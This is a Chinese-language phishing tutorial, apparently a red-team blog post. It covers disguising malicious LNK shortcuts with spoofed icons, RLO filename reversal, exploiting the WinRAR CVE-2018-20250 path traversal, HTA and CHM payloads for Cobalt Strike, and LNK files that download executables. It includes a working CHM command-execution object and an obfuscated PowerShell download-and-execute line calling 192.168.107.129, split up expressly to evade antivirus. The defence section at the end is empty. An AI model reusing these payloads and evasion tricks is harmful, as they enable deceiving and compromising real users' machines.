0x01 Lnk:lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。 lnk文件的载荷拥有自动隐藏.lnk后缀名,从而展现伪装的后缀名以欺骗目标的特点而被广泛使用。 以calc.exe的快捷方式为例,我们首先更改ico图标: 这里存在一个问题,如果用系统自带的ico去做文件图标替换的话会有个弊端,即当替换的ico在目标机器上不存在时,就会出现类似空白ico图标。我们可以通过修改lnk的icon_location标志位,修改为相关后缀,系统即可自动关联到对应的打开方式,达到自适配的效果 利用 将其修改为./1.pdf: 效果展示: 修改ICON_LOCATION后,会根据目标机器上所安装的环境进行适配,以显示出符合本机环境的图标,加大了样本的成功几率 0x02 文件名反转(RLO)+ 超长文件名隐藏:利用原理:
在Windows中,如果我们直接修改文件后缀,会更改文件原本类型。但我们可以通过在文件名中插入此类unicode字符,来达到文件名反转的效果,实现文件名欺骗,而不更改文件原本类型。 以cmd.exe为例,将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键选择 利用windows目录默认显示文件名长度特性,进行修改将文件名加长隐藏后缀名。 或者可以新建一个bat文件,使用cs生成powershell木马,将其保存为test.bat。利用BAT2EXE导入前面创建的test.bat,然后将 转换成exe以后,利用RLO进行文件名反转,再添加记事本的图标来进行伪装。当用户关闭此txt时会新增一个powershell进程。这样做会使目标用户相信他们刚刚单击的文件确实是合法的文本文件,殊不知CS已悄然上线。 0x03 WinRAR目录穿越漏洞(CVE-2018-20250)该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而WinRAR解压ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意文件写入任意目录,甚至可以写入文件至开机启动项,导致代码执行
漏洞主要是由 WinRAR 用来解压ACE压缩包采用的动态链接库 unacev2.dll 这个dll引起的。unacev2.dll 中处理 filename 时只校验了 CRC,黑客可以通过更改压缩包的 CRC 校验码来修改解压时候的 filename,来触发这个Path Traversal漏洞。但是 WinRAR 本身检测了 filename,有一些限制并且普通用户解压 RAR 文件时候,并不能将我们恶意的 Payload 解压到需要 System 权限的文件夹。 当用户将文件下载到默认的 其中 C: 会被转换成当前路径,如果用 WinRAR 打开那么当前路径就是 当用户在文件夹中直接右键解压到 xx,那么我们恶意的 payload 解压地址就会变成: 补充:如果解压缩软件并非目标版本,则提示解压失败或者不是一个正常的压缩包。
漏洞利用exp:https://github.com/WyAtu/CVE-2018-20250 制作好CS马后,将其复制到项目文件中,修改exp.py文件中的evil_filename: 修改python3的运行命令 运行exp.py后,将生成的恶意test.rar文件传到win7靶机中的download目录中 使用WINRAR解压文件,解压后会在自启动目录生成一个恶意文件hi.exe,我们可以运行 更多利用方式请参考:WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖 0x04 HTA:HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件,本身就是html应用程序,双击就能运行,却比普通网页权限大得多,它具有桌面程序的所有权限。 Cobalt Strike也支持HTA钓鱼文件的生成,提供了3种生成方式 exe,powershell,vba 生成方式: 其中VBA方法需要目标系统上的Microsoft Office,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能),生成一个下载恶意HTA的网址来实行钓鱼。 0x05 CHM:CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash。 创建一个文件夹,在文件夹里面再创建两个文件夹和一个index.html文件。index.html文件内容如下: <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11' width=1 height=1>
<PARAM name='Command' value='ShortCut'>
<PARAM name='Button' value='Bitmap::shortcut'>
<PARAM name='Item1' value=',calc.exe'>
<PARAM name='Item2' value='273,1,1'>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用EasyCHM进行编译后,打开生成的CHM文件,就会弹出计算器: 利用powershell上线CS: 注意:exe后面要再加一个英文版逗号否则无法执行exe,还要注意payload字符串的双引号跟单引号是否冲突 使用CHM执行powershell脚本,但唯一不足就是会弹出黑框。这里可以利用MyJSRat配合chm进行上线
然后访问下 url: 将payload复制到index.html文件中,然后重新编译CHM。 受害者打开chm文件后,触发Payload可无弹窗运行命令: 实际钓鱼的过程中,可以用正常chm文档进行伪装,将其转成html: hh -decompile .\\html CHM.CHM
钓鱼html payload复制修改,嵌入到IBurpCollaboratorClientContext.html文件中 0x06 拓展一:1、新建一个指向
利用上述方法,将lnk文件修改为自适应的pdf的图标,效果如下: 然后发送给靶机win7,双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档: 0x07 拓展二:利用原理:
利用以上两点达到命令执行的效果
1、创建一个快捷方式(参数混淆绕过360): 2、新建一个aaa.dll,内容为执行当前目录下的1.ps1文件: 3、1.ps1内容为CS上线命令,这里使用使用拼接的方式替换关键词,可绕过360的检测: $c3 ='IEX';
$c6='(new-object net.webc';
$c7='lient).downlo';
$c8='adstr';
$c9 ='ing(''http://192.168.107.129:80/abc'')';
IEX ($c3+$c6+$c7+$c8+$c9)
0x08 拓展三:
操作系统不仅会从本地驱动器加载外部图标文件,还会尝试从以 UNC 格式指定的远程路径或者通过URL加载。当文件资源管理器显示 LNK 文件时,会尝试加载图标,如果图标由 UNC 或 URL 路径指定存在,它将被下载并显示。当计算机获取文件之后会像链接请求并缓存到: 注意:ICON_LOCATION 字符串的限制:必须以 直接用ps1生成快捷方式:
当在文件资源管理器中打开 LNK 所在的文件夹时,操作系统将尝试使用 HTTP GET 请求下载 URL 指定的文件: 生成的 HTTP GET 请求将导致将calc.exe下载到路径 由于文件路径是基本确定的,可以通过lnk文件修改链接指向cmd并执行它
制作一个特殊的 LNK 文件,将其压缩并通过网络钓鱼电子邮件发送出去,或者将 LNK 上传到多个用户使用的网络文件共享 详情请参考:Using Shell Links as zero-touch downloaders and to initiate network connections 钓鱼邮件防范措施: 对公司来说:
对个人来说:
参考如下:基于钓鱼攻击的技术点研究 |
|